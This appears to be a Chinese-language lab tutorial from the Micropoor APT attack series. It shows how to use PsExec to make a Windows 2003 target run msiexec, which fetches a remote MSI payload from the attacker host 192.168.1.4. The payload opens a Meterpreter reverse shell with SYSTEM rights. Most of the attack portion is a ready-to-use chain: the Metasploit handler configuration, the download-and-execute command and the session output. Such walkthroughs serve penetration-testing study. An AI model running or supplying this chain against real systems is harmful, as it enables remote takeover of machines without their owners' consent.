

专注APT攻击与防御

<https://micropoor.blogspot.com/>

注：请多喝点热水或者凉白开，可预防**肾结石**，**痛风**等。

痛风可伴发肥胖症、高血压病、糖尿病、脂代谢紊乱等多种代谢性疾病。

PsExec简介：

微软于2006年7月收购sysinternals公司，PsExec是SysinternalsSuite的小工具之一，是一种轻量级的telnet替代品，允许在其他系统上执行进程，完成控制台应用程序的完全交互，而无需手动安装客户端软件，并且可以获得与控制台应用程序相当的完全交互性。

微软官方文档：

<https://docs.microsoft.com/zh-cn/sysinternals/downloads/psexec>

说明：PsExec.exe没有默认安装在windows系统。

攻击机： 192.168.1.4 Debian

靶机： 192.168.1.119 Windows 2003

配置攻击机msf：

```
1 msf exploit(multi/handler) > show options
2
3 Module options (exploit/multi/handler):
4
5 Name Current Setting Required Description
6 ----
7
8
9 Payload options (windows/meterpreter/reverse_tcp):
10
11 Name Current Setting Required Description
12 ----
13 EXITFUNC process yes Exit technique (Accepted: '', seh, thread, process, none)
```

```

14  LHOST 192.168.1.4 yes The listen address (an interface may be specifi
ed)
15  LPORT 53 yes The listen port
16
17
18  Exploit target:
19
20  Id Name
21  -- ----
22  0 Wildcard Target
23
24
25  msf exploit(multi/handler) > exploit
26
27  [*] Started reverse TCP handler on 192.168.1.4:53
28

```

```

msf exploit(multi/handler) > show options
Module options (exploit/multi/handler):
  Name  Current Setting  Required  Description
  ----  -
  ----  -
  ----  -
  ----  -

Payload options (windows/meterpreter/reverse_tcp):
  Name      Current Setting  Required  Description
  ----      -
  EXITFUNC  process          yes       Exit technique (Accepted: '', seh, thread, process, none)
  LHOST     192.168.1.4     yes       The listen address (an interface may be specified)
  LPORT     53               yes       The listen port

Exploit target:
  Id  Name
  --  ----
  0   Wildcard Target

msf exploit(multi/handler) > exploit
[*] Started reverse TCP handler on 192.168.1.4:53

```

靶机执行：



```
PsExec.exe -d -s msieexec.exe /q /i http://192.168.1.4/Micropoor\_rev\_x86\_msi\_53.txt
```

```
E:\SysinternalsSuite>PsExec.exe -d -s msieexec.exe /q /i http://192.168.1.4/Micropoor_rev_x86_msi_53.txt

PsExec v2.2 - Execute processes remotely
Copyright (C) 2001-2016 Mark Russinovich
Sysinternals - www.sysinternals.com

msieexec.exe started on WIN03X64 with process ID 992.
```

```
1 msf exploit(multi/handler) > exploit
2
3 [*] Started reverse TCP handler on 192.168.1.4:53
4 [*] Sending stage (179779 bytes) to 192.168.1.119
5 [*] Meterpreter session 11 opened (192.168.1.4:53 -> 192.168.1.119:1318) at 2019-01-20 05:43:32 -0500
6
7 meterpreter > getuid
8 Server username: NT AUTHORITY\SYSTEM
9 meterpreter > getpid
10 Current pid: 728
11 meterpreter >
12
```

```
msf exploit(multi/handler) > exploit
[*] Started reverse TCP handler on 192.168.1.4:53
[*] Sending stage (179779 bytes) to 192.168.1.119
[*] Meterpreter session 11 opened (192.168.1.4:53 -> 192.168.1.119:1318) at 2019-01-20 05:43:32 -0500

meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter > getpid
Current pid: 728
meterpreter > █
```

- Micropoor